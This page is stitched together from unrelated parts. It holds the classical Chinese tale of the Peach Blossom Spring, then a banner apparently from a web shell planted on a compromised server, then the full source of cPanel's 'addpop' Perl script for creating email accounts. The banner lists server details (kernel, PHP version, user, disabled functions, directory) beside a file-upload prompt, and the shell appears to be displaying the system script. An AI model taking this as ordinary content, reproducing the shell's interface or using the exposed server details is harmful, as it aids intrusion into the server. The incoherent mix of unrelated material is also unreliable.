晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /proc/thread-self/root/scripts/ |
Upload File : |
#!/usr/local/cpanel/3rdparty/bin/perl
# cpanel - scripts/addpop Copyright 2022 cPanel, L.L.C.
# All rights reserved.
# copyright@cpanel.net http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited
package scripts::addpop;
use strict;
use warnings;
use Cpanel::SafetyBits ();
use Cpanel::AcctUtils::DomainOwner::Tiny ();
use Cpanel::Usage ();
use Cpanel::Validate::VirtualUsername ();
use Cpanel::Email::Maildir ();
use Cpanel::Sys::Setsid::Fast ();
use Cpanel::Hooks ();
use Cpanel::Exception ();
use constant MAX_QUOTA => Cpanel::Email::Maildir::get_max_email_quota_mib();
my @attributes = qw{ email password quota owner user domain };
run(@ARGV) unless caller();
sub run {
my (@args) = @_;
if ( $> != 0 ) {
die( Cpanel::Exception::create("RootRequired") );
}
my $debug;
my $verbose;
my $email;
my $password;
my $quota;
my $opts = {
email => \$email,
password => \$password,
quota => \$quota,
debug => \$debug,
verbose => \$verbose,
};
Cpanel::Usage::wrap_options( \@args, \&usage, $opts );
# needed for retro compatibility
@args = map { m/^\-/ ? undef : $_ } @args;
# use args* for retro compatibility with old syntax
my %opts = ( email => $email || $args[0], password => $password || $args[1] || q{}, quota => $quota || $args[3] || 0 );
my $pop = scripts::addpop->new(%opts);
my $interactive_fields = {
email => 'Please enter the pop account to add (e.g. bob@sally.com)? ',
};
foreach my $field ( sort keys %$interactive_fields ) {
while ( !$pop->$field() ) {
print $interactive_fields->{$field};
my $input;
chomp( $input = <STDIN> );
$pop->$field($input);
}
}
Cpanel::Hooks::hook(
{
'category' => 'scripts',
'event' => 'addpop',
'stage' => 'pre',
},
\%opts,
);
$pop->create();
Cpanel::Hooks::hook(
{
'category' => 'scripts',
'event' => 'addpop',
'stage' => 'post',
},
\%opts,
);
return;
}
sub usage {
my $prog = $0;
my $max_quota = Cpanel::Email::Maildir::get_max_email_quota_mib();
print <<USAGE;
$0 [--email=]<user\@domain.com> [[--password=]yourpassword] [[--quota=]quota]
Create the specified email account
--help : display this documentation
--email : a valid address email ( format: user\@domain.com )
--password : password used for this account, if not provided a prompt will ask for it
--quota : default quota ( in MB ) is 0 ( unlimited ), any value larger or equal than $max_quota
will result in using an unlimited quota
Sample usages
Create an email account using only the email ( password will be asked, and default quota will be used )
> $0 user\@domain.com
> $0 user\@domain.com yourpassword
Create an email with password and quota from command line
> $0 user\@domain.com yourpassword 1024
or
> $0 --email=user\@domain.com --password=yourpassword --quota=1024
USAGE
exit 1;
}
sub new {
my ( $package, %opts ) = @_;
my $self = bless {}, __PACKAGE__;
# create accessor and hooks
$self->_set_attributes();
# set values
map { $self->$_( $opts{$_} ) } keys %opts;
return $self;
}
sub _set_attributes {
# call once at first init
return unless @attributes;
foreach my $att (@attributes) {
my $accessor = __PACKAGE__ . "::$att";
# allow symbolic refs to typeglob
no strict 'refs';
*$accessor = sub {
my ( $self, $v ) = @_;
if ( defined $v ) {
foreach (qw{before validate set after}) {
if ( $_ eq 'set' ) {
$self->{$att} = $v;
next;
}
my $sub = '_' . $_ . '_' . $att;
if ( defined &{ __PACKAGE__ . '::' . $sub } ) {
return unless $self->$sub($v);
}
}
}
return $self->{$att};
};
}
@attributes = undef;
return 1;
}
sub _validate_email {
my ( $self, $email ) = @_;
unless ( Cpanel::Validate::VirtualUsername::is_valid($email) ) {
print STDERR "'$email' is not valid for a virtual account username.\n";
return;
}
return 1;
}
sub _validate_quota {
my ( $self, $value ) = @_;
$value =~ /^[0-9]+$/ or die "Invalid quota format";
return 1;
}
sub _after_quota {
my ($self) = @_;
# update in place
$self->{quota} = 0 if $self->quota() >= MAX_QUOTA;
return 1;
}
sub _after_email {
my $self = shift;
my ( $user, $domain ) = split( /\@/, $self->email );
my $owner = Cpanel::AcctUtils::DomainOwner::Tiny::getdomainowner( $domain, { 'default' => '' } );
die "Cannot find the owner of $domain, try rebuilding /etc/userdomains first with /usr/local/cpanel/scripts/updateuserdomains" unless $owner;
$self->owner($owner);
$self->user($user);
$self->domain($domain);
return 1;
}
sub _after_owner {
my $self = shift;
my ( $uid, $gid ) = ( getpwnam( $self->owner() ) )[ 2, 3 ];
die "cannot find user ", $self->owner() unless defined $uid && defined $gid;
Cpanel::Sys::Setsid::Fast::fast_setsid();
Cpanel::SafetyBits::setuids( $uid, $gid );
$ENV{'REMOTE_USER'} = $self->owner();
return 1;
}
sub create {
my $self = shift;
system '/usr/local/cpanel/cpanel-email', 'addpop', $self->user(), $self->password(), $self->quota(), $self->domain();
die "\nEmail account creation failed ($?)\n" if ( $? != 0 );
my $quota_text = ( $self->quota() > 0 ) ? $self->quota() . " MB" : 'unlimited';
print "Created " . $self->email() . " with a quota of $quota_text for user " . $self->owner() . "\n";
return 1;
}
1;